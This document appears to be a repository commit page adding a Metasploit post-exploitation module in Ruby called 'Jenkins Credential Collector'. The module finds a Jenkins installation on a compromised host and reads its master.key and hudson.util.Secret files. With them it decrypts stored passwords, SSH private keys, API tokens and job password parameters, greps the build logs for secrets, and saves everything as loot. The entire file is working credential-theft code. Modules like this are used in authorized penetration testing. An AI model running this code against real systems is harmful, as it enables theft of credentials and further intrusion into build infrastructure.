initial commit
thesubtlety
parent
9d57197736
commit
10c663dd3e
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@ -0,0 +1,427 @@
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require 'nokogiri'
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require 'base64'
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require 'digest'
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require 'openssl'
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require 'sshkey'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Linux::System
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'Jenkins Credential Collector',
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'Description' => %q(
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This module can be used to extract saved Jenkins credentials, user
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tokens, SSH keys, and secrets. Interesting files will be stored in
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loot along with combined csv output.
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),
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'License' => MSF_LICENSE,
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'Author' => [ 'thesubtlety' ],
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'Platform' => [ 'linux', 'win' ],
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'SessionTypes' => [ %w(shell meterpreter) ]
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))
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register_options(
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[ OptBool.new('STORE_LOOT', [false, 'Store files in loot (will simply output file to console if set to false).', true])
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], self.class)
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@nodes = []
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@creds = []
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@ssh_keys = []
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@api_tokens = []
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end
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def report_creds(user, pass)
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return if (user.empty? or pass.empty?)
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credential_data = {
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origin_type: :session,
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post_reference_name: self.fullname,
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private_data: pass,
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private_type: :password,
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session_id: session_db_id,
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username: user,
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workspace_id: myworkspace_id
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}
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create_credential(credential_data)
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end
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def parse_credentialsxml(file)
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vprint_status("Parsing credentials.xml...")
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if exists?(file)
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f = read_file(file)
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if datastore['STORE_LOOT']
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loot_path = store_loot('credentials.xml', 'text/plain', session, f)
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vprint_status("File credentials.xml saved to #{loot_path}")
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end
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else
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print_error("Could not read credentials.xml...")
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end
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xml_doc = Nokogiri::XML(f)
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xml_doc.xpath("//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl").each do |node|
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username, password, description = "", "", ""
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username = node.xpath("username").text
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password = decrypt(node.xpath("password").text)
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description = node.xpath("description").text
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print_good("Credentials found - Username: #{username} Password: #{password}")
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report_creds(username, password)
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@creds << [username, password, description]
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end
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xml_doc.xpath("//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey").each do |node|
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cred_id, username, description, passphrase, private_key = "","","","",""
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cred_id = node.xpath("id").text
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username = node.xpath("username").text
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description = node.xpath("description").text
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passphrase = node.xpath("passphrase").text.gsub("lneLKHOnEJRWJE7IKwLpAg==","") #jenkins v1 empty passphrase
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passphrase = decrypt(passphrase) unless passphrase == "lneLKHOnEJRWJE7IKwLpAg=="
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private_key = node.xpath("//privateKeySource//privateKey").text
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private_key = decrypt(private_key) unless private_key.match(/----BEGIN/)
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print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || "<empty>" } Username: #{username} Description: #{description}")
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store_loot("ssh-#{cred_id}", 'text/plain', session, private_key, nil, nil) if datastore['STORE_LOOT']
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@ssh_keys << [cred_id, description, passphrase, username, private_key]
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begin
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k = OpenSSL::PKey::RSA.new(private_key,passphrase)
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key = SSHKey.new(k, :passphrase => passphrase, :comment => cred_id)
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credential_data = {
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origin_type: :session,
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session_id: session_db_id,
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post_reference_name: self.refname,
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private_type: :ssh_key,
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private_data: key.key_object.to_s,
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username: cred_id,
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workspace_id: myworkspace_id
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}
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create_credential(credential_data)
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rescue OpenSSL::OpenSSLError => e
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print_error("Could not save SSH key to creds: #{e.message}")
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end
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end
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end
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def parse_users(file)
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f = read_file(file)
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fname = file.gsub("\\","/").split('/')[-2]
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vprint_status("Parsing user #{fname}...")
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username, api_token = "",""
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xml_doc = Nokogiri::XML(f)
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xml_doc.xpath("//user").each do |node|
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username = node.xpath("fullName").text
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end
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xml_doc.xpath("//jenkins.security.ApiTokenProperty").each do |node|
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api_token = decrypt(node.xpath("apiToken").text)
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end
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print_good("API Token found - Username: #{username} Token: #{api_token}")
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@api_tokens << [username, api_token]
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report_creds(username, api_token)
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store_loot("user-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
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end
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def parse_nodes(file)
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f = read_file(file)
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fname = file.gsub("\\","/").split('/')[-2]
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vprint_status("Parsing node #{fname}...")
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node_name, description, host, port, cred_id = "","","",""
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xml_doc = Nokogiri::XML(f)
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xml_doc.xpath("//slave").each do |node|
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node_name= node.xpath("name").text
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description = node.xpath("description").text
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end
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xml_doc.xpath("//launcher").each do |node|
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host = node.xpath("host").text
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port = node.xpath("port").text
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cred_id = node.xpath("credentialsId").text
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end
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@nodes << [node_name, host, port, description, cred_id]
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print_good("Node Info found - Name: #{node_name} Host: #{host} Port: #{port} CredID: #{cred_id}")
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store_loot("node-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
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end
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def parse_jobs(file)
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f = read_file(file)
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fname = file.gsub("\\","/").split('/')[-4]
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vprint_status("Parsing job #{fname}...")
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username,pw = "",""
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job_name = file.split(/\/jobs\/(.*?)\/builds\//)[1]
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xml_doc = Nokogiri::XML(f)
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xml_doc.xpath("//hudson.model.PasswordParameterValue").each do |node|
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username = node.xpath("name").text
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pw = decrypt(node.xpath("value").text)
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end
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@creds << [username, pw, ""]
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print_good("Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}") unless pw.blank?
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store_loot("job-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
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end
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def pretty_print_gathered
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creds_table = Rex::Text::Table.new(
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'Header' => 'Creds',
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'Indent' => 1,
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'Columns'=>
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[
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'Username',
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'Password',
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'Description',
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]
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)
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@creds.uniq.each { |e| creds_table << e }
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print_good("\n" + creds_table.to_s) unless creds_table.rows.count == 0
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store_loot('all.creds.csv', 'text/plain', session, creds_table.to_csv, nil, nil) if datastore['STORE_LOOT']
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api_table = Rex::Text::Table.new(
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'Header' => 'API Keys',
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'Indent' => 1,
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'Columns'=>
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[
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'Username',
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'API Tokens',
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]
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)
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@api_tokens.uniq.each { |e| api_table << e }
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print_good("\n" + api_table.to_s) unless api_table.rows.count == 0
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store_loot('all.apitokens.csv', 'text/plain', session, api_table.to_csv, nil, nil) if datastore['STORE_LOOT']
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node_table = Rex::Text::Table.new(
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'Header' => 'Nodes',
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'Indent' => 1,
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'Columns'=>
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[
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'Node Name',
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'Hostname',
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'Port',
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'Description',
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'Cred Id'
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]
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)
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@nodes.uniq.each { |e| node_table << e }
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print_good("\n" + node_table.to_s) unless node_table.rows.count == 0
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store_loot('all.nodes.csv', 'text/plain', session, node_table.to_csv, nil, nil) if datastore['STORE_LOOT']
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@ssh_keys.uniq.each do |e|
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print_good("SSH Key")
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print_status(" ID: #{e[0]}")
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print_status(" Description: #{e[1]}") unless e[1].nil? || e[1].empty?
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print_status(" Passphrase: #{e[2]}") unless e[2].nil? || e[2].empty?
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print_status(" Username: #{e[3]}") unless e[3].nil? || e[3].empty?
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print_status("\n#{e[4]}")
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end
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ssh_output = @ssh_keys.each { |e| e.join(",") + "\n\n\n" }
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store_loot('all.sshkeys', 'text/plain', session, ssh_output, nil, nil) if datastore['STORE_LOOT'] && !ssh_output.empty?
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end
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def grep_job_history(path, platform)
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print_status("Searching through job history for interesting keywords...")
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case platform
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when "windows"
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results = cmd_exec("cmd.exe","/c findstr /s /i \"secret key token password\" \"#{path}*log\"")
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when 'nix'
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results = cmd_exec("/bin/egrep", "-ir \"password|secret|key\" --include log \"#{path}\"")
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end
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store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?
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print_good("Job Log truffles:\n#{results}") unless results.empty?
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end
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def find_configs(path, platform)
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case platform
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when 'windows'
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case session.type
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when 'meterpreter'
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configs = ""
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c = session.fs.file.search(path,"config.xml", recurse=true, timeout = -1).concat(session.fs.file.search(path, "build.xml", recurse=true, timeout=-1))
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c.each { |f| configs << f["path"] + "\\" + f["name"] + "\n" }
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else
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configs = cmd_exec("cmd.exe","/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")
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end
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configs.split("\n").each do |f|
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case f
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when /\\users\\/
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parse_users(f)
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when /\\jobs\\/
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parse_jobs(f)
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when /\\nodes\\/
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parse_nodes(f)
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end
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end
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when 'nix'
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configs = cmd_exec("/usr/bin/find", "\"#{path}\" -name config.xml -o -name build.xml")
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configs.split("\n").each do |f|
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case f
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when /\/users\//
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parse_users(f)
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when /\/jobs\//
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parse_jobs(f)
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when /\/nodes\//
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parse_nodes(f)
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end
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end
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end
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end
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def get_key_material(home, platform)
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case platform
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when "windows"
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master_key_path = "#{home}\\secrets\\master.key"
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hudson_secret_key_path = "#{home}\\secrets\\hudson.util.Secret"
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when "nix"
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master_key_path = "#{home}/secrets/master.key"
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hudson_secret_key_path = "#{home}/secrets/hudson.util.Secret"
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end
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if exists?(master_key_path) and exists?(hudson_secret_key_path)
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@master_key = read_file(master_key_path).strip
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@hudson_secret_key = read_file(hudson_secret_key_path).strip
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if datastore['STORE_LOOT']
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loot_path = store_loot('master.key', 'application/octet-stream', session, @master_key)
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vprint_status("File master.key saved to #{loot_path}")
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loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)
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vprint_status("File hudson.util.Secret saved to #{loot_path}")
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end
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else
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print_error "Cannot read master.key or hudson.util.Secret..."
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print_error "Encrypted strings will not be able to be decrypted..."
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return
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end
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end
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def find_home(platform)
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case platform
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when "windows"
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case session.type
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when 'meterpreter'
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home = session.fs.file.search(nil, "secret.key.not-so-secret")[0]["path"]
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else
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home = cmd_exec("cmd.exe", "/c dir /b /s c:\*secret.key.not-so-secret").split("\\")[0..-2].join("\\").strip
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end
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print_status("Found Jenkins installation at #{home}")
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home
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when "nix"
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home = cmd_exec("find", "/ -name 'secret.key.not-so-secret' 2>/dev/null").split('/')[0..-2].join('/').strip
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print_status("Found Jenkins installation at #{home}")
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return home
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end
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end
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def gathernix
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home = find_home("nix")
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get_key_material(home, "nix")
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parse_credentialsxml(home + '/credentials.xml')
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find_configs(home, "nix")
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grep_job_history(home + '/jobs/',"nix")
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pretty_print_gathered
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end
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def gatherwin
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home = find_home("windows")
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get_key_material(home, "windows")
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parse_credentialsxml(home + "\\credentials.xml")
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find_configs(home, "windows")
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grep_job_history(home + "\\jobs\\", "windows")
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pretty_print_gathered
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end
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def run
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case session.platform
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when 'linux'
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gathernix
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else
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gatherwin
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end
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end
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def decrypt_key(master_key, hudson_secret_key)
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# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
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magic = '::::MAGIC::::'
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hashed_master_key = Digest::SHA256.digest(master_key)[0..15]
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intermediate = OpenSSL::Cipher.new('AES-128-ECB')
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intermediate.decrypt
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intermediate.key = hashed_master_key
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salted_final = intermediate.update(hudson_secret_key) + intermediate.final
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raise 'no magic key in a' unless salted_final.include?(magic)
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salted_final[0..15]
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end
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def decrypt_v2(encrypted)
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begin
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master_key = @master_key
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hudson_secret_key = @hudson_secret_key
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key = decrypt_key(master_key, hudson_secret_key)
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encrypted_text = Base64.decode64(encrypted).bytes
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iv_length = ((encrypted_text[1] & 0xff) << 24) | ((encrypted_text[2] & 0xff) << 16) | ((encrypted_text[3] & 0xff) << 8) | (encrypted_text[4] & 0xff)
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data_length = ((encrypted_text[5] & 0xff) << 24) | ((encrypted_text[6] & 0xff) << 16) | ((encrypted_text[7] & 0xff) << 8) | (encrypted_text[8] & 0xff)
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if encrypted_text.length != (1 + 8 + iv_length + data_length)
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print_error("Invalid encrypted string: #{encrypted}")
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end
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iv = encrypted_text[9..(9 + iv_length)].pack('C*')[0..15]
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code = encrypted_text[(9 + iv_length)..encrypted_text.length].pack('C*').force_encoding('UTF-8')
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cipher = OpenSSL::Cipher.new('AES-128-CBC')
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cipher.decrypt
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cipher.key = key
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cipher.iv = iv
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text = cipher.update(code) + cipher.final
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if text.length == 32 #Guessing token
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text = Digest::MD5.new.update(text).hexdigest
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end
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text
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rescue StandardError => e
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print_error("#{e}")
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return "Could not decrypt string"
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end
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end
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def decrypt_legacy(encrypted)
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# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
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begin
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magic = '::::MAGIC::::'
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master_key = @master_key
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hudson_secret_key = @hudson_secret_key
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encrypted = Base64.decode64(encrypted)
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key = decrypt_key(master_key, hudson_secret_key)
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cipher = OpenSSL::Cipher.new('AES-128-ECB')
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cipher.decrypt
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cipher.key = key
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text = cipher.update(encrypted) + cipher.final
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text = text[0..(text.length-magic.size-1)]
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if text.length == 32 #Guessing token
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text = Digest::MD5.new.update(text).hexdigest
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end
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text
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rescue StandardError => e
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print_error("#{e}")
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return "Could not decrypt string"
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end
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end
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def decrypt(encrypted)
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return if encrypted.empty?
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if encrypted[0] == "{" && encrypted[-1] == "}"
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decrypt_v2(encrypted)
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else
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decrypt_legacy(encrypted)
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end
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end
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end
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Loading…
Reference in New Issue